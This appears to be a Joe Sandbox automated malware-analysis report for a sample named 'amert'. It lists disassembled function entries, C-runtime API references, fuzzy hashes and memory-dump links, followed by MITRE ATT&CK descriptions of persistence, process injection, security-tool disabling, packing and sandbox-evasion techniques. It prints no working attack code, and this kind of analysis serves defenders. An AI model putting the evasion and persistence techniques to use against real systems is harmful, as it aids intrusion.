Associated: 0000000E.00000002.2840617908.0000000000556000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000633000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.000000000065E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000665000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000674000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2843409544.0000000000675000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2844289353.0000000000813000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2844344385.0000000000815000.00000080.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_360000_amert.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy___std_exception_destroy
String ID: p"6$p"6
API String ID: 2970364248-111699406
Opcode ID: a48cce0cbcb4e206330b353420fc96cd15deeab3f7570225171cf6521a1c716a
Instruction ID: a9cbba3618aa7511946a48d0ddcffbd3c27212a4bc2ede41de5bfd1f4f21f9ba
Opcode Fuzzy Hash: a48cce0cbcb4e206330b353420fc96cd15deeab3f7570225171cf6521a1c716a
Instruction Fuzzy Hash: 92719071E102089FDF16CFA8C881BDEFBB4EF59310F14812DE805AB285D774A944CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00377360 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 123COMMON

Download Yara Rule

APIs

__Cnd_unregister_at_thread_exit.LIBCPMT ref: 0037744C
__Cnd_destroy_in_situ.LIBCPMT ref: 00377458
__Mtx_destroy_in_situ.LIBCPMT ref: 00377461

Strings

0t7, xrefs: 0037743A

Memory Dump Source

Source File: 0000000E.00000002.2839016933.0000000000361000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00360000, based on PE: true

Associated: 0000000E.00000002.2835246894.0000000000360000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2839016933.00000000003C1000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840464750.00000000003C6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.00000000003C8000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000556000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000633000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.000000000065E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000665000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000674000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2843409544.0000000000675000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2844289353.0000000000813000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2844344385.0000000000815000.00000080.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_360000_amert.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situ
String ID: 0t7
API String ID: 4078500453-683943295
Opcode ID: 16106e7938e6eeb2ed7cbb4f357decdfa45c44620c9d58214a70eedf45d85ffb
Instruction ID: 831340dc768d876c23070ec79f4d876c60a7a68df41c91cf080a17f06b56b4c8
Opcode Fuzzy Hash: 16106e7938e6eeb2ed7cbb4f357decdfa45c44620c9d58214a70eedf45d85ffb
Instruction Fuzzy Hash: 5531E5B1A047049BE732DF68D841A5AF7E8EF04350F108A3EE949CB641E779EA54C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 003629F0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 51COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00362A43

Strings

This function cannot be called on a default constructed task, xrefs: 00362A23
p"6, xrefs: 00362A38
p"6, xrefs: 00362A4E

Memory Dump Source

Source File: 0000000E.00000002.2839016933.0000000000361000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00360000, based on PE: true

Associated: 0000000E.00000002.2835246894.0000000000360000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2839016933.00000000003C1000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840464750.00000000003C6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.00000000003C8000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000556000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000633000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.000000000065E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000665000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000674000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2843409544.0000000000675000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2844289353.0000000000813000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2844344385.0000000000815000.00000080.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_360000_amert.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: This function cannot be called on a default constructed task$p"6$p"6
API String ID: 2659868963-5733453
Opcode ID: 4b269452639302417e2cbafe3f60410eb3adc190d2d01bd25546461fa0a149b6
Instruction ID: 8a16a7f56d14d1fe147087a9664517a479620a8dbd229c771980608d94cd1686
Opcode Fuzzy Hash: 4b269452639302417e2cbafe3f60410eb3adc190d2d01bd25546461fa0a149b6
Instruction Fuzzy Hash: 45F0F670D1030C9BC712DFA8D8419DEFBECDF56304F1086ADF8549B601EB70AA548794

Uniqueness

Uniqueness Score: -1.00%

Function 00379370 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

__Cnd_unregister_at_thread_exit.LIBCPMT ref: 003793AF
__Cnd_destroy_in_situ.LIBCPMT ref: 003793BB
__Mtx_destroy_in_situ.LIBCPMT ref: 003793C4

Strings

0t7, xrefs: 0037939D

Memory Dump Source

Source File: 0000000E.00000002.2839016933.0000000000361000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00360000, based on PE: true

Associated: 0000000E.00000002.2835246894.0000000000360000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2839016933.00000000003C1000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840464750.00000000003C6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.00000000003C8000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000556000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000633000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.000000000065E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000665000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000674000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2843409544.0000000000675000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2844289353.0000000000813000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2844344385.0000000000815000.00000080.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_360000_amert.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situ
String ID: 0t7
API String ID: 4078500453-683943295
Opcode ID: 042fa3691f3afc0f9cdefc13332f77762830022b51d9104f5c3c85b31631ca75
Instruction ID: 8933d4feafff16defba2d22918e2985c1f1dbe8aa473b171ee0ee26e020c028c
Opcode Fuzzy Hash: 042fa3691f3afc0f9cdefc13332f77762830022b51d9104f5c3c85b31631ca75
Instruction Fuzzy Hash: 13F04FB6900B009BDA35DB64E449B9BB3ECAF44301F05891EE69ACB940D778E588CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0039C2B1 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0039C338

Memory Dump Source

Source File: 0000000E.00000002.2839016933.0000000000361000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00360000, based on PE: true

Associated: 0000000E.00000002.2835246894.0000000000360000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2839016933.00000000003C1000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840464750.00000000003C6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.00000000003C8000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000556000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000633000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.000000000065E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000665000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000674000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2843409544.0000000000675000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2844289353.0000000000813000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2844344385.0000000000815000.00000080.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_360000_amert.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c2189248270ea340cbd842f54171ce7f18cb959cd5409b5c13150a41ec3c7c18
Instruction ID: dba7e7ae29b56b5875272a01415a455ab1b0bd0a9f37e8246889249125046092
Opcode Fuzzy Hash: c2189248270ea340cbd842f54171ce7f18cb959cd5409b5c13150a41ec3c7c18
Instruction Fuzzy Hash: 4FB14832A242859FDF13CF29C8917BEBBF5EF56340F16916AE8459B342D6389D01CB60

Uniqueness

Uniqueness Score: -1.00%

Function 0037B4D2 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0037B52A
__Xtime_diff_to_millis2.LIBCPMT ref: 0037B544
_xtime_get.LIBCPMT ref: 0037B567
__Xtime_diff_to_millis2.LIBCPMT ref: 0037B573

Memory Dump Source

Source File: 0000000E.00000002.2839016933.0000000000361000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00360000, based on PE: true

Associated: 0000000E.00000002.2835246894.0000000000360000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2839016933.00000000003C1000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840464750.00000000003C6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.00000000003C8000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000556000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000633000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.000000000065E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000665000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000674000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2843409544.0000000000675000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2844289353.0000000000813000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2844344385.0000000000815000.00000080.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_360000_amert.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 9d509e5301b94853f5ae8137573dea76e83cc6a95a9a1bbe50b74d81852c42a0
Instruction ID: 46fd0107e4f4bc92c60b1003f627a90a202a768d29deb1befe7400665b69d601
Opcode Fuzzy Hash: 9d509e5301b94853f5ae8137573dea76e83cc6a95a9a1bbe50b74d81852c42a0
Instruction Fuzzy Hash: 4621837590020DAFDF12EFA4CC41ABEBBB8EF09710F004019F505BB251D7399D019B91

Uniqueness

Uniqueness Score: -1.00%

Function 00376AB0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 236COMMON

Download Yara Rule

APIs

__Mtx_init_in_situ.LIBCPMT ref: 00376CDC

Strings

`-6, xrefs: 00376CC0
Pu7, xrefs: 00376CF2

Memory Dump Source

Source File: 0000000E.00000002.2839016933.0000000000361000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00360000, based on PE: true

Associated: 0000000E.00000002.2835246894.0000000000360000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2839016933.00000000003C1000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840464750.00000000003C6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.00000000003C8000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000556000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000633000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.000000000065E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000665000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000674000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2843409544.0000000000675000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2844289353.0000000000813000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2844344385.0000000000815000.00000080.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_360000_amert.jbxd

Yara matches

Similarity

API ID: Mtx_init_in_situ
String ID: Pu7$`-6
API String ID: 3366076730-2118185490
Opcode ID: e1bc5a2c75cbdf45bbbc04d27554c5b002dd45830f82bb15e044b7d01b066434
Instruction ID: 7345348988cf6aa906f82ea05d1fce316ff54a2542a5ddbd70e9433dc96d9388
Opcode Fuzzy Hash: e1bc5a2c75cbdf45bbbc04d27554c5b002dd45830f82bb15e044b7d01b066434
Instruction Fuzzy Hash: 26A148B4A01B158FDB22CF69C895B9EBBF0EF49700F198159E819AB351E7799D01CF80

Uniqueness

Uniqueness Score: -1.00%

Function 003788A0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 197COMMON

Download Yara Rule

Strings

p"6, xrefs: 0036238D
p"6, xrefs: 003623A6

Memory Dump Source

Source File: 0000000E.00000002.2839016933.0000000000361000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00360000, based on PE: true

Associated: 0000000E.00000002.2835246894.0000000000360000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2839016933.00000000003C1000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840464750.00000000003C6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.00000000003C8000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000556000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000633000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.000000000065E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000665000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000674000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2843409544.0000000000675000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2844289353.0000000000813000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2844344385.0000000000815000.00000080.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_360000_amert.jbxd

Yara matches

Similarity

API ID:
String ID: p"6$p"6
API String ID: 0-111699406
Opcode ID: c6fe4f1744d321aa517bd6f18b1f550fbb7845caa7fbf11b9a2074c244113344
Instruction ID: f83b4d03f03c0eb91aaaae5d44486e940a6502de610198da07ce100fb0f7690f
Opcode Fuzzy Hash: c6fe4f1744d321aa517bd6f18b1f550fbb7845caa7fbf11b9a2074c244113344
Instruction Fuzzy Hash: 5E511972A001189BCF26DFACCC459AEB7A8EF45350F158679E919EB341DB34EE10C791

Uniqueness

Uniqueness Score: -1.00%

Function 00362360 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 32COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 0036239E

Strings

p"6, xrefs: 0036238D
p"6, xrefs: 003623A6

Memory Dump Source

Source File: 0000000E.00000002.2839016933.0000000000361000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00360000, based on PE: true

Associated: 0000000E.00000002.2835246894.0000000000360000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2839016933.00000000003C1000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840464750.00000000003C6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.00000000003C8000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000556000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000633000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.000000000065E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000665000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000674000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2843409544.0000000000675000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2844289353.0000000000813000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2844344385.0000000000815000.00000080.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_360000_amert.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: p"6$p"6
API String ID: 2659868963-111699406
Opcode ID: 62b42e79d86f5d1d3d56e373717bffc79ecdc30018bc5d4d0377fb8d949b0864
Instruction ID: 2ccc9a989b0b2febe563d0a96f6623769e60355fb7fe288d95195be9fdf1846f
Opcode Fuzzy Hash: 62b42e79d86f5d1d3d56e373717bffc79ecdc30018bc5d4d0377fb8d949b0864
Instruction Fuzzy Hash: 46F0E5B9C1020C6BCB15EFE8DC428CAB7ACDE12300B508935F654EB500F7B0F6488791

Uniqueness

Uniqueness Score: -1.00%

Function 00362440 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00362472

Strings

p"6, xrefs: 00362467
p"6, xrefs: 0036247D

Memory Dump Source

Source File: 0000000E.00000002.2839016933.0000000000361000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00360000, based on PE: true

Associated: 0000000E.00000002.2835246894.0000000000360000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2839016933.00000000003C1000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840464750.00000000003C6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.00000000003C8000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000556000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000633000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.000000000065E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000665000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000674000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2843409544.0000000000675000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2844289353.0000000000813000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2844344385.0000000000815000.00000080.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_360000_amert.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: p"6$p"6
API String ID: 2659868963-111699406
Opcode ID: d25f0bce36d7359d5291e371303660d45e92c0c396de68ae9a7b7791c7f8fb5a
Instruction ID: 7cba00a89707369ee7f0810c6a8c69eea6dcb62c00eb55f64034764654449552
Opcode Fuzzy Hash: d25f0bce36d7359d5291e371303660d45e92c0c396de68ae9a7b7791c7f8fb5a
Instruction Fuzzy Hash: 57F0A775D1020DEFC715DFA8D8419CEBBF8EF56300F1082BEE445AB201EB716A548B95

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
